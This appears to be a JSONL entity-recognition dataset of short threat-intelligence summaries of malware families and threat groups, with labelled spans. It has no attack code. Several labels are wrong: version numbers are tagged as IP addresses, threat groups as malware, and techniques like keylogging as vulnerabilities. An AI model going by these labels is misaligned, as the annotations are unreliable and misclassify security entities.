+{"text": "XenoRAT is an open source remote access trojan written in C#. It can monitor user activity including keystrokes, and provide remote control over the compromised system.", "spans": {"MALWARE: XenoRAT": [[0, 7]]}, "info": {"source": "apt_reports", "name": "XenoRAT"}}
+{"text": "Ransomware.", "spans": {}, "info": {"source": "apt_reports", "name": "XiaoBa"}}
+{"text": "According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called \"bundling\".\r\n\r\nIn most cases, \"bundling\" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.", "spans": {"MALWARE: XMRIG": [[21, 26], [435, 440]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "xmrig"}}
+{"text": "According to PCrisk, Xorist  is a family of ransomware-type malware. After stealth system infiltration, ransomware from this family encrypts various files stored on the computer. After encrypting the files, this ransomware creates a 'How to Decrypt Files.txt text file on the victim's desktop. The file contains a message stating that the files can only be restored by paying a ransom.", "spans": {"MALWARE: Xorist": [[21, 27]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "Xorist"}}
+{"text": "Ransomware.", "spans": {}, "info": {"source": "apt_reports", "name": "XP10"}}
+{"text": "Symantec describes this as a decryptor/loader used by Chinese threat actor Antlion in campaigns targeting Taiwan.", "spans": {"THREAT_ACTOR: Antlion": [[75, 82]], "SYSTEM: Symantec": [[0, 8]]}, "info": {"source": "apt_reports", "name": "xPack"}}
+{"text": "Incorporates code of Quasar RAT.", "spans": {"TOOL: Quasar RAT": [[21, 31]]}, "info": {"source": "apt_reports", "name": "XPCTRA"}}
+{"text": "According to PCrisk, XpertRAT is a Remote Administration Trojan, a malicious program that allows cyber criminals to remotely access and control infected computers. Typically, users download and install this software inadvertently because they are tricked. By having computers infected with malware such as XpertRAT, users can experience serious problems.", "spans": {"MALWARE: XpertRAT": [[21, 29], [306, 314]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "XpertRAT"}}
+{"text": "According to eSentire, XRed, also known as Synaptics worm, is a backdoor that has been circulating since at least 2019. This malware was initially spread through drivers bundled with USB-C hub adapters, which served as its primary distribution vector. Once executed, the backdoor self-replicates and to maintain persistence, it creates a Windows Registry Run key. Additionally, it uses a mutex named Synaptics2X to ensure that only one instance of the malware runs at a time. XRed includes several advanced features that enable remote control and data exfiltration. It can download additional payloads from hardcoded URLs embedded within its binary. The malware exfiltrates sensitive system information—such as the MAC address, username, and computer name—which is sent via SMTP to hardcoded email addresses. It also incorporates keylogging functionality through keyboard hooking techniques. Furthermore, XRed supports a variety of remote commands that allow the attacker to gain command prompt access, capture screenshots, list available disks and directories, download files from remote sources, and delete files from the infected system. XRed also exhibits worm-like behavior: It spreads through USB drives by creating an autorun.inf file. Additionally, the malware infects Excel files with macros (.xlsm) by injecting a malicious VBA macro into them. The malware uses a hardcoded dynamic DNS domain (xred.mooo.com) to communicate with its command and control server. This domain serves as an identifying feature of the malware. According to researchers at eSentire, linguistic evidence found in the malware's code suggests that the developer is a native Turkish speaker.", "spans": {"DOMAIN: xred.mooo.com": [[1404, 1417]], "MALWARE: XRed": [[23, 27], [476, 480], [905, 909], [1141, 1145]], "SYSTEM: Windows": [[338, 345]], "VULNERABILITY: keylogging": [[830, 840]]}, "info": {"source": "apt_reports", "name": "XRed"}}
+{"text": "Simple Loader used to download and install stealers, clippers and other malwares.", "spans": {}, "info": {"source": "apt_reports", "name": "XTinyLoader"}}
+{"text": "X-Tunnel is a network proxy tool that implements a custom network protocol encapsulated in the TLS protocol.", "spans": {"MALWARE: X-Tunnel": [[0, 8]]}, "info": {"source": "apt_reports", "name": "XTunnel"}}
+{"text": "This is a rewrite of win.xtunnel using the .NET framework that surfaced late 2017.", "spans": {"SYSTEM: .NET": [[43, 47]]}, "info": {"source": "apt_reports", "name": "X-Tunnel (.NET)"}}
+{"text": "In March 2019, AT&T Alien Labs identified a new malware family that is actively scanning for exposed web services and default passwords. Based on our findings we are calling it “Xwo” - taken from its primary module name. It is likely related to the previously reported malware families Xbash and MongoLock.", "spans": {"MALWARE: Xwo": [[178, 181]], "ORGANIZATION: AT&T": [[15, 19]], "MALWARE: Alien": [[20, 25]], "MALWARE: Xbash": [[286, 291]]}, "info": {"source": "apt_reports", "name": "Xwo"}}
+{"text": "Malware with wide range of capabilities ranging from RAT to ransomware.", "spans": {}, "info": {"source": "apt_reports", "name": "XWorm"}}
+{"text": "The author of X-ZIGZAG claims that it is a lightweight and stealthy Windows Remote Access Trojan (RAT) designed for educational purposes.", "spans": {"MALWARE: X-ZIGZAG": [[14, 22]], "SYSTEM: Windows": [[68, 75]]}, "info": {"source": "apt_reports", "name": "X-ZIGZAG"}}
+{"text": "Ransomware.", "spans": {}, "info": {"source": "apt_reports", "name": "Yakuza"}}
+{"text": "According to PCrisk, Yanluowang is ransomware that encrypts (and renames) files, ends all running processes, stops services, and creates the \"README.txt\" file containing a ransom note. It appends the \".yanluowang\" extension to filenames. Cybercriminals behind Yanluowang are targeting enterprise entities and organizations in the financial sector.\r\n\r\nFiles encrypted by Yanluowang can be decrypted with this tool (it is possible to decrypt all files if the original file is larger than 3GB. If the original file is smaller than 3GB, then only smaller files can be decrypted).", "spans": {"MALWARE: Yanluowang": [[21, 31], [260, 270], [370, 380]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "Yanluowang"}}
+{"text": "According to PTSecurity, this RAT uses Yandex Disk as a C2.", "spans": {}, "info": {"source": "apt_reports", "name": "YaRAT"}}
+{"text": "Yarraq is a ransomware that encrypts files by using asymmetric keys and adding '.yarraq' as extension to the end of filenames. At the time of writing the attacker asks for $2000 ransom in order to provide a decryptor, to enable victims to restore their original files back. To communicate with the attacker the email: cyborgyarraq@protonmail.ch is provided.", "spans": {"EMAIL: cyborgyarraq@protonmail.ch": [[318, 344]], "MALWARE: Yarraq": [[0, 6]]}, "info": {"source": "apt_reports", "name": "Yarraq"}}
+{"text": "According to Palo Alto Networks, Yasso is an open source multi-platform intranet-assisted penetration toolset that brings together a number of features such as scanning, brute forcing, remote interactive shell, and running arbitrary commands. It is authored by a Mandarin-speaking pentester nicknamed Sairson.", "spans": {"MALWARE: Yasso": [[33, 38]], "SYSTEM: Palo Alto": [[13, 22]], "ORGANIZATION: Palo Alto Networks": [[13, 31]]}, "info": {"source": "apt_reports", "name": "Yasso"}}
+{"text": "According to Kaspersky, this malware sticks out as performing a large set of operations in memory with the help of the malloc, memmove and memcmp function calls.", "spans": {"SYSTEM: Kaspersky": [[13, 22]]}, "info": {"source": "apt_reports", "name": "Ymir"}}
+{"text": "Simple malware with proxy/RDP and download capabilities. It often comes bundled with installers, in particular in the Chinese realm.\r\n\r\nPE timestamps suggest that it came into existence in the second half of 2014.\r\n\r\nSome versions perform checks of the status of the internet connection (InternetGetConnectedState: MODEM, LAN, PROXY), some versions perform simple AV process-checks (CreateToolhelp32Snapshot).", "spans": {"TOOL: RDP": [[26, 29]]}, "info": {"source": "apt_reports", "name": "YoungLotus"}}
+{"text": "According to Trend Micro, this is a ransomware written as a Windows commandline script, with obfuscation applied.", "spans": {"SYSTEM: Windows": [[60, 67]], "SYSTEM: Trend Micro": [[13, 24]]}, "info": {"source": "apt_reports", "name": "YourCyanide"}}
+{"text": "According to Intezer, YTStealer is a malware whose objective is to steal YouTube authentication cookies. As a stealer, it operates like many other stealers. The first thing it does when it’s executed is to perform some environment checks. This is to detect if the malware is being analyzed in a sandbox.", "spans": {"MALWARE: YTStealer": [[22, 31]], "ORGANIZATION: Intezer": [[13, 20]]}, "info": {"source": "apt_reports", "name": "YTStealer"}}
+{"text": "W32/Yunsip!tr.pws is classified as a password stealing trojan.\r\nPassword Stealing Trojan searches the infected system for passwords and send them to the hacker.", "spans": {"MALWARE: Yunsip": [[4, 10]]}, "info": {"source": "apt_reports", "name": "Yunsip"}}
+{"text": "Ransomware.", "spans": {}, "info": {"source": "apt_reports", "name": "Z3"}}
+{"text": "Bitdefender describes the primary features of the family as follows: Presence of a rootkit driver that protects itself as well as its other components, presence of man-in-the-browser capabilities that intercepts and decrypts SSL communications, and presence of an adware cleanup routine used to remove potential competition in the adware space. It also communicates with its C&C server, sending environment information such as installed AV and other applications. The malware also takes screenshots and does browser redirects, potentially manipulating the DOM tree. It also creates traffic in hidden windows, likely causing adfraud. The malware is generally very configurable and internally makes use of Lua scripts.", "spans": {"SYSTEM: Bitdefender": [[0, 11]], "VULNERABILITY: rootkit": [[83, 90]]}, "info": {"source": "apt_reports", "name": "Zacinlo"}}
+{"text": "According to brandefense, Zebrocy is malware that falls into the Trojan category, which the threat actor group APT28/Sofacy has used since 2015. Zebrocy malware consists of 3 main components; Backdoor, Downloader, and Dropper. The Downloader and Dropper take responsibility for discovery processes and downloading the main malware on the systems. At the same time, Backdoor undertakes the duties such as persistence in the system, espionage, and data extraction.\r\n\r\nThis malware, which is not considered new, has variants in many languages from the past to the present. These include programming languages such as Delphi, C#, Visual C++, VB.net, and Golang. Furthermore, we know advanced threat actors and groups revise their malicious software among their toolkits at certain time intervals using different languages and technologies.", "spans": {"DOMAIN: VB.net": [[638, 644]], "MALWARE: Zebrocy": [[26, 33], [145, 152]], "THREAT_ACTOR: APT28": [[111, 116]]}, "info": {"source": "apt_reports", "name": "Zebrocy"}}
+{"text": "Zeppelin is a ransomware written in Delphi and sold  a as-a-service. The Cylance research team notes that it is a clear evolution of the known VegaLocker, but they assessed it as a new family becaue of additionally developed modules that makes Zeppelin much more configurable than Vegalocker. There are executable variants of type DLL and EXE.", "spans": {"MALWARE: Zeppelin": [[0, 8], [244, 252]], "MALWARE: VegaLocker": [[143, 153]]}, "info": {"source": "apt_reports", "name": "Zeppelin"}}
+{"text": "ZeroAccess is a modular botnet that was primarily active around 2012. It has been observed selling fake antivirus software to infected users, performing click fraud and deploying bitcoin miners.\r\nIt utilizes both peer-to-peer networking and a centralized C&C, spoofing the HTTP Host header with fake DGA-generated domains to confuse researchers.\r\nWhile there is no evidence that the DGA-generated domains were ever intentonally contacted by the malware, faulty middleboxes still caused some requests to be sent to the DGA domains.", "spans": {"MALWARE: ZeroAccess": [[0, 10]]}, "info": {"source": "apt_reports", "name": "ZeroAccess"}}
+{"text": "ZeroCleare is a destructive malware. It has been developed in order to wipe the master boot record section in order to damage a disk's partitioning. Attackers use the EldoS RawDisk driver to perform the malicious action, which is not a signed driver and would therefore not runnable by default. The attackers managed to install it by using a vulnerable version of VBoxDrv driver, which the DSE accepts and runs. Used to attack middle-east energy and industrial sectors.", "spans": {"MALWARE: ZeroCleare": [[0, 10]], "MALWARE: RawDisk": [[173, 180]]}, "info": {"source": "apt_reports", "name": "ZeroCleare"}}
+{"text": "ZeroEvil is a malware that seems to be distributed by an ARSguarded VBS loader.\r\n\r\nIt first connects to a gate.php (version=). Upon success, an embedded VBS gets started connecting to logs_gate.php (plugin=, report=).\r\nSo far, only one embedded VBS was observed: it creates and starts a PowerShell script to retrieve all password from the Windows.Security.Credentials.PasswordVault. Apart from that, a screenshot is taken and a list of running processes generated.\r\n\r\nThe ZeroEvil executable contains multiple DLLs, sqlite3.dll, ze_core.DLL (Mutex) and ze_autorun.DLL (Run-Key).", "spans": {"MALWARE: ZeroEvil": [[0, 8], [472, 480]], "TOOL: PowerShell": [[287, 297]], "SYSTEM: Windows": [[339, 346]]}, "info": {"source": "apt_reports", "name": "ZeroEvil"}}
+{"text": "According to CrowdStrike, The two primary goals of the Zeus trojan horse virus are stealing people's financial information and adding machines to a botnet. Unlike many types of malware, most Zeus variants try to avoid doing long-term damage to the devices they infect. Their aim is to avoid detection from antivirus software.", "spans": {"MALWARE: Zeus": [[55, 59], [191, 195]], "ORGANIZATION: CrowdStrike": [[13, 24]]}, "info": {"source": "apt_reports", "name": "Zeus"}}
+{"text": "This family describes the Zeus-variant that includes a version of OpenSSL and usually is downloaded by Zloader.\r\n\r\nIn June 2016, the version 1.5.4.0 (PE timestamp: 2016.05.11) appeared, downloaded by Zloader (known as DEloader at that time). OpenSSL 1.0.1p is statically linked to it, thus its size is roughly 1.2 MB. In subsequent months, that size increased up to 1.6 MB.\r\nIn January 2017, with version 1.14.8.0, OpenSSL 1.0.2j was linked to it, increasing the size to 1.8 MB. Soon after also in January 2017, with version v1.15.0.0 the code was obfuscated, blowing up the size of the binary to 2.2 MB.\r\n\r\nPlease note that IBM X-Force decided to call win.zloader/win.zeus_openssl \"Zeus Sphinx\", after mentioning it as \"a new version of Zeus Sphinx\" in their initial post in August 2016. Malpedia thus lists the alias \"Zeus XSphinx\" for win.zeus_openssl - the X to refer to IBM X-Force.\r\n\r\nZeus Sphinx on the one hand has the following versioning (\"slow increase\")\r\n- 2015/09 v1.0.1.0 (Zeus Sphinx size: 1.5 MB)\r\n- 2016/02 v1.0.1.2 (Zeus Sphinx size: 1.5 MB)\r\n- 2016/04 v1.0.2.0 (Zeus Sphinx size: 1.5 MB)\r\n\r\nZeus OpenSSL on the other hand has the following versioning (\"fast increase\")\r\n- 2016/05 v1.5.4.0  (Zeus OpenSSL size: 1.2 MB)\r\n- 2017/01 v1.14.8.0 (Zeus OpenSSL size: 1.8 MB)\r\n- 2017/01 v1.15.0.0 (Zeus OpenSSL size: 2.2 MB)", "spans": {"IP_ADDRESS: 1.5.4.0": [[141, 148]], "IP_ADDRESS: 1.14.8.0": [[405, 413]], "MALWARE: Zeus OpenSSL": [[1110, 1122], [1210, 1222], [1259, 1271], [1308, 1320]], "MALWARE: XSphinx": [[825, 832]], "SYSTEM: OpenSSL": [[66, 73], [242, 249], [415, 422], [1115, 1122], [1215, 1222], [1264, 1271], [1313, 1320]], "ORGANIZATION: IBM X-Force": [[625, 636], [875, 886]], "ORGANIZATION: X-Force": [[629, 636], [879, 886]], "ORGANIZATION: IBM": [[625, 628], [875, 878]], "MALWARE: Zloader": [[103, 110], [200, 207]], "MALWARE: Zeus Sphinx": [[683, 694], [738, 749], [891, 902], [987, 998], [1034, 1045], [1081, 1092]], "MALWARE: Zeus": [[26, 30], [683, 687], [738, 742], [820, 824], [891, 895], [987, 991], [1034, 1038], [1081, 1085], [1110, 1114], [1210, 1214], [1259, 1263], [1308, 1312]]}, "info": {"source": "apt_reports", "name": "Zeus OpenSSL"}}
+{"text": "This family describes the vanilla Zeus-variant that includes TOR (and Polipo proxy). It has an almost 90% overlap with Zeus v2.0.8.9.\r\nPlease note that IBM X-Force decided to call win.zloader/win.zeus_openssl \"Zeus Sphinx\", after mentioning it as \"a new version of Zeus Sphinx\" in their initial post in August 2016. Malpedia thus lists the alias \"Zeus XSphinx\" for win.zeus_openssl - the X to refer to IBM X-Force.\r\n\r\nZeus Sphinx on the one hand has the following versioning (\"slow increase\")\r\n- 2015/09 v1.0.1.0 (Zeus Sphinx size: 1.5 MB)\r\n- 2016/02 v1.0.1.2 (Zeus Sphinx size: 1.5 MB)\r\n- 2016/04 v1.0.2.0 (Zeus Sphinx size: 1.5 MB)\r\n\r\nZeus OpenSSL on the other hand has the following versioning (\"fast increase\")\r\n- 2016/05 v1.5.4.0  (Zeus OpenSSL size: 1.2 MB)\r\n- 2017/01 v1.14.8.0 (Zeus OpenSSL size: 1.8 MB)\r\n- 2017/01 v1.15.0.0 (Zeus OpenSSL size: 2.2 MB)", "spans": {"MALWARE: Zeus Sphinx": [[210, 221], [265, 276], [418, 429], [514, 525], [561, 572], [608, 619]], "SYSTEM: OpenSSL": [[642, 649], [742, 749], [791, 798], [840, 847]], "ORGANIZATION: IBM X-Force": [[152, 163], [402, 413]], "ORGANIZATION: X-Force": [[156, 163], [406, 413]], "ORGANIZATION: IBM": [[152, 155], [402, 405]], "MALWARE: Zeus OpenSSL": [[637, 649], [737, 749], [786, 798], [835, 847]], "MALWARE: Zeus": [[34, 38], [119, 123], [210, 214], [265, 269], [347, 351], [418, 422], [514, 518], [561, 565], [608, 612], [637, 641], [737, 741], [786, 790], [835, 839]], "MALWARE: XSphinx": [[352, 359]]}, "info": {"source": "apt_reports", "name": "Zeus Sphinx"}}
+{"text": "zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.\r\nUsually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.", "spans": {"MALWARE: zgRAT": [[0, 5], [104, 109]], "VULNERABILITY: phishing": [[214, 222]], "MALWARE: AgentTesla": [[84, 94]]}, "info": {"source": "apt_reports", "name": "zgRAT"}}
+{"text": "An information stealer written in .NET.", "spans": {"SYSTEM: .NET": [[34, 38]]}, "info": {"source": "apt_reports", "name": "ZingoStealer"}}
+{"text": "This family describes the (initially small) loader, which downloads Zeus OpenSSL.\r\n\r\nIn June 2016, a new loader was dubbed DEloader by Fortinet. It has some functions borrowed from Zeus 2.0.8.9 (e.g. the versioning, nrv2b, binstorage-labels), but more importantly, it downloaded a Zeus-like banking trojan (-> Zeus OpenSSL). Furthermore, the loader shared its versioning with the Zeus OpenSSL it downloaded.\r\nThe initial samples from May 2016 were small (17920 bytes). At some point, visualEncrypt/Decrypt was added, e.g. in v1.11.0.0 (September 2016) with size 27648 bytes. In January 2017 with v1.15.0.0, obfuscation was added, which blew the size up to roughly 80k, and the loader became known as Zloader aka Terdot. These changes may be related to the Moskalvzapoe Distribution Network, which started the distribution of it at the same time.\r\n\r\nPlease note that IBM X-Force decided to call win.zloader/win.zeus_openssl \"Zeus Sphinx\", after mentioning it as \"a new version of Zeus Sphinx\" in their initial post in August 2016. Malpedia thus lists the alias \"Zeus XSphinx\" for win.zeus_openssl - the X to refer to IBM X-Force.", "spans": {"IP_ADDRESS: 2.0.8.9": [[186, 193]], "MALWARE: Zloader": [[700, 707]], "MALWARE: DEloader": [[123, 131]], "MALWARE: Terdot": [[712, 718]], "SYSTEM: Fortinet": [[135, 143]], "SYSTEM: OpenSSL": [[73, 80], [315, 322], [385, 392]], "ORGANIZATION: IBM X-Force": [[866, 877], [1116, 1127]], "ORGANIZATION: X-Force": [[870, 877], [1120, 1127]], "ORGANIZATION: IBM": [[866, 869], [1116, 1119]], "MALWARE: Zeus OpenSSL": [[68, 80], [310, 322], [380, 392]], "MALWARE: Zeus Sphinx": [[924, 935], [979, 990]], "MALWARE: Zeus": [[68, 72], [181, 185], [281, 285], [310, 314], [380, 384], [924, 928], [979, 983], [1061, 1065]], "MALWARE: XSphinx": [[1066, 1073]]}, "info": {"source": "apt_reports", "name": "Zloader"}}
+{"text": "Information Stealer used by Void Balaur.", "spans": {"THREAT_ACTOR: Void Balaur": [[28, 39]], "MALWARE: Void": [[28, 32]]}, "info": {"source": "apt_reports", "name": "ZStealer"}}
+{"text": "According to ESET, this malware family was active exclusively in Brazil until the middle of 2020. It s identified by its method for obfuscating strings. It creates a function for each character of the alphabet and then concatenates the result of calling the correct functions in sequence.", "spans": {"SYSTEM: ESET": [[13, 17]]}, "info": {"source": "apt_reports", "name": "Zumanek"}}
+{"text": "According to FireEye, ZXSHELL is a backdoor that can be downloaded from the internet, particularly Chinese hacker websites. The backdoor can launch port scans, run a keylogger, capture screenshots, set up an HTTP or SOCKS proxy, launch a reverse command shell, cause SYN floods, and transfer/delete/run files. The publicly available version of the tool provides a graphical user interface that malicious actors can use to interact with victim backdoors. Simplified Chinese is the language used for the bundled ZXSHELL documentation.", "spans": {"MALWARE: ZXSHELL": [[22, 29], [510, 517]], "ORGANIZATION: FireEye": [[13, 20]], "VULNERABILITY: keylogger": [[166, 175]]}, "info": {"source": "apt_reports", "name": "ZXShell"}}
+{"text": "Cisco Talos attributes this backdoor with moderate confidence to the Bitter APT.", "spans": {"SYSTEM: Cisco": [[0, 5]], "ORGANIZATION: Talos": [[6, 11]], "ORGANIZATION: Cisco Talos": [[0, 11]]}, "info": {"source": "apt_reports", "name": "ZxxZ"}}
+{"text": "According to FireEye, Zyklon or Zyklon HTTP is a publicly available, full-featured backdoor capable of keylogging, password harvesting, downloading and executing additional plugins, conducting distributed denial-of-service (DDoS) attacks, and self-updating and self-removal. The malware may communicate with its command and control (C2) server over The Onion Router (Tor) network if configured to do so. The malware can download several plugins, some of which include features such as cryptocurrency mining and password recovery, from browsers and email software. Zyklon also provides a very efficient mechanism to monitor the spread and impact.", "spans": {"MALWARE: Zyklon": [[22, 28], [32, 38], [564, 570]], "TOOL: Tor": [[367, 370]], "ORGANIZATION: FireEye": [[13, 20]], "VULNERABILITY: DDoS": [[224, 228]], "VULNERABILITY: keylogging": [[103, 113]]}, "info": {"source": "apt_reports", "name": "Zyklon"}}
+{"text": "APT38 is a North Korean state-sponsored threat group that specializes in financial cyber operations; it has been attributed to the Reconnaissance General Bureau. Active since at least 2014, APT38 has targeted banks, financial institutions, casinos, cryptocurrency exchanges, SWIFT system endpoints, and ATMs in at least 38 countries worldwide. Significant operations include the 2016 Bank of Bangladesh heist, during which APT38 stole $81 million, as well as attacks against Bancomext  and Banco de Chile ; some of their attacks have been destructive.\n\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name Lazarus Group instead of tracking clusters or subgroups.", "spans": {"MALWARE: APT38": [[0, 5], [190, 195], [423, 428]], "THREAT_ACTOR: Lazarus Group": [[723, 736]]}, "info": {"source": "apt_reports", "name": "APT38"}}
+{"text": "Indrik Spider is a Russia-based cybercriminal group that has been active since at least 2014. Indrik Spider initially started with the Dridex banking Trojan, and then by 2017 they began running ransomware operations using BitPaymer, WastedLocker, and Hades ransomware. Following U.S. sanctions and an indictment in 2019, Indrik Spider changed their tactics and diversified their toolset.", "spans": {"MALWARE: Indrik Spider": [[0, 13], [94, 107], [321, 334]], "MALWARE: Hades": [[251, 256]], "MALWARE: WastedLocker": [[233, 245]], "MALWARE: Dridex": [[135, 141]], "MALWARE: BitPaymer": [[222, 231]]}, "info": {"source": "apt_reports", "name": "Indrik Spider"}}
+{"text": "NEODYMIUM is an activity group that conducted a campaign in May 2016 and has heavily targeted Turkish victims. The group has demonstrated similarity to another activity group called PROMETHIUM due to overlapping victim and campaign characteristics.   NEODYMIUM is reportedly associated closely with BlackOasis operations, but evidence that the group names are aliases has not been identified.", "spans": {"THREAT_ACTOR: BlackOasis": [[299, 309]], "THREAT_ACTOR: NEODYMIUM": [[0, 9], [251, 260]], "THREAT_ACTOR: PROMETHIUM": [[182, 192]]}, "info": {"source": "apt_reports", "name": "NEODYMIUM"}}
+{"text": "BlackByte is a ransomware threat actor operating since at least 2021. BlackByte is associated with several versions of ransomware also labeled BlackByte Ransomware. BlackByte ransomware operations initially used a common encryption key allowing for the development of a universal decryptor, but subsequent versions such as BlackByte 2.0 Ransomware use more robust encryption mechanisms. BlackByte is notable for operations targeting critical infrastructure entities among other targets across North America.", "spans": {"MALWARE: BlackByte": [[0, 9], [70, 79], [143, 152], [165, 174], [323, 332], [387, 396]], "MALWARE: BlackByte 2.0 Ransomware": [[323, 347]], "MALWARE: BlackByte Ransomware": [[143, 163]]}, "info": {"source": "apt_reports", "name": "BlackByte"}}
+{"text": "Elderwood is a suspected Chinese cyber espionage group that was reportedly responsible for the 2009 Google intrusion known as Operation Aurora.  The group has targeted defense organizations, supply chain manufacturers, human rights and nongovernmental organizations (NGOs), and IT service providers.", "spans": {"MALWARE: Elderwood": [[0, 9]], "ORGANIZATION: Google": [[100, 106]], "MALWARE: Aurora": [[136, 142]]}, "info": {"source": "apt_reports", "name": "Elderwood"}}
+{"text": "SideCopy is a Pakistani threat group that has primarily targeted South Asian countries, including Indian and Afghani government personnel, since at least 2019. SideCopy's name comes from its infection chain that tries to mimic that of Sidewinder, a suspected Indian threat group.", "spans": {"THREAT_ACTOR: SideCopy": [[0, 8], [160, 168]], "MALWARE: Sidewinder": [[235, 245]]}, "info": {"source": "apt_reports", "name": "SideCopy"}}
+{"text": "GALLIUM is a cyberespionage group that has been active since at least 2012, primarily targeting telecommunications companies, financial institutions, and government entities in Afghanistan, Australia, Belgium, Cambodia, Malaysia, Mozambique, the Philippines, Russia, and Vietnam. This group is particularly known for launching Operation Soft Cell, a long-term campaign targeting telecommunications providers. Security researchers have identified GALLIUM as a likely Chinese state-sponsored group, based in part on tools used and TTPs commonly associated with Chinese threat actors.", "spans": {"THREAT_ACTOR: GALLIUM": [[0, 7], [446, 453]], "THREAT_ACTOR: Operation Soft Cell": [[327, 346]]}, "info": {"source": "apt_reports", "name": "GALLIUM"}}
+{"text": "APT17 is a China-based threat group that has conducted network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations.", "spans": {"THREAT_ACTOR: APT17": [[0, 5]]}, "info": {"source": "apt_reports", "name": "APT17"}}
+{"text": "APT3 is a China-based threat group that researchers have attributed to China's Ministry of State Security. This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap. As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong.", "spans": {"THREAT_ACTOR: APT3": [[0, 4]]}, "info": {"source": "apt_reports", "name": "APT3"}}
+{"text": "Mustard Tempest is an initial access broker that has operated the SocGholish distribution network since at least 2017. Mustard Tempest has partnered with Indrik Spider to provide access for the download of additional malware including LockBit, WastedLocker, and remote access tools.", "spans": {"THREAT_ACTOR: Mustard Tempest": [[0, 15], [119, 134]], "MALWARE: SocGholish": [[66, 76]], "MALWARE: WastedLocker": [[244, 256]], "MALWARE: Indrik Spider": [[154, 167]]}, "info": {"source": "apt_reports", "name": "Mustard Tempest"}}
+{"text": "GCMAN is a threat group that focuses on targeting banks for the purpose of transferring money to e-currency services.", "spans": {"THREAT_ACTOR: GCMAN": [[0, 5]]}, "info": {"source": "apt_reports", "name": "GCMAN"}}
+{"text": "Kimsuky is a North Korea-based cyber espionage group that has been active since at least 2012. The group initially targeted South Korean government agencies, think tanks, and subject-matter experts in various fields. Its operations expanded to include the United Nations and organizations in the government, education, business services, and manufacturing sectors across the United States, Japan, Russia, and Europe. Kimsuky has focused collection on foreign policy and national security issues tied to the Korean Peninsula, nuclear policy, and sanctions. Its operations have overlapped with other DPRK actors, likely due to ad hoc collaboration or limited resource sharing. Because of overlapping operations, some researchers group a wide range of North Korean state-sponsored cyber activity under the broader Lazarus Group umbrella rather than tracking separate subgroup or cluster distinctions.\n\nKimsuky was assessed to be responsible for the 2014 Korea Hydro & Nuclear Power Co. compromise; other notable campaigns include Operation STOLEN PENCIL (2018), Operation Kabar Cobra (2019), and Operation Smoke Screen (2019).\n\nIn 2023, Kimsuky was observed using commercial large language models to assist with vulnerability research, scripting, social engineering and reconnaissance.", "spans": {"THREAT_ACTOR: Lazarus Group": [[811, 824]], "THREAT_ACTOR: Kimsuky": [[0, 7], [417, 424], [899, 906], [1134, 1141]], "MALWARE: Smoke": [[1103, 1108]]}, "info": {"source": "apt_reports", "name": "Kimsuky"}}
+{"text": "EXOTIC LILY is a financially motivated group that has been closely linked with Wizard Spider and the deployment of ransomware including Conti and Diavol. EXOTIC LILY may be acting as an initial access broker for other malicious actors, and has targeted a wide range of industries including IT, cybersecurity, and healthcare since at least September 2021.", "spans": {"THREAT_ACTOR: EXOTIC LILY": [[0, 11], [154, 165]], "MALWARE: Conti": [[136, 141]], "MALWARE: Wizard Spider": [[79, 92]], "MALWARE: Diavol": [[146, 152]]}, "info": {"source": "apt_reports", "name": "EXOTIC LILY"}}
+{"text": "TA577 is an initial access broker (IAB) that has distributed QakBot and Pikabot, and was among the first observed groups distributing Latrodectus in 2023.", "spans": {"THREAT_ACTOR: TA577": [[0, 5]], "MALWARE: Pikabot": [[72, 79]], "MALWARE: Latrodectus": [[134, 145]], "MALWARE: QakBot": [[61, 67]]}, "info": {"source": "apt_reports", "name": "TA577"}}
+{"text": "AppleJeus is a North Korean state-sponsored threat group attributed to the Reconnaissance General Bureau. Associated with the broader Lazarus Group umbrella of actors, AppleJeus has been active since at least 2018 and is closely aligned in resources with TEMP.hermit, another DPRK-affiliated group under the same umbrella. The group’s primary mission is to generate and launder revenue to provide financial support to the government. AppleJeus primarily targets the cryptocurrency industry and is most notably responsible for the 3CX Supply Chain Attack. The group traditionally deploys malicious cryptocurrency software in combination with Phishing. From these compromised environments, it selectively deploys additional backdoors to enable extended operations against high-value financial targets.", "spans": {"MALWARE: AppleJeus": [[0, 9], [168, 177], [434, 443]], "THREAT_ACTOR: Lazarus Group": [[134, 147]], "THREAT_ACTOR: 3CX Supply Chain Attack": [[530, 553]]}, "info": {"source": "apt_reports", "name": "AppleJeus"}}
+{"text": "admin@338 is a China-based cyber threat group. It has previously used newsworthy events as lures to deliver malware and has primarily targeted organizations involved in financial, economic, and trade policy, typically using publicly available RATs such as PoisonIvy, as well as some non-public backdoors.", "spans": {"MALWARE: admin@338": [[0, 9]], "MALWARE: PoisonIvy": [[256, 265]]}, "info": {"source": "apt_reports", "name": "admin@338"}}
+{"text": "Volt Typhoon is a People's Republic of China (PRC) state-sponsored actor that has been active since at least 2021 primarily targeting critical infrastructure organizations in the US and its territories including Guam. Volt Typhoon's targeting and pattern of behavior have been assessed as pre-positioning to enable lateral movement to operational technology (OT) assets for potential destructive or disruptive attacks. Volt Typhoon has emphasized stealth in operations using web shells, living-off-the-land (LOTL) binaries, hands on keyboard activities, and stolen credentials.", "spans": {"THREAT_ACTOR: Volt Typhoon": [[0, 12], [218, 230], [419, 431]], "VULNERABILITY: living-off-the-land": [[487, 506]]}, "info": {"source": "apt_reports", "name": "Volt Typhoon"}}
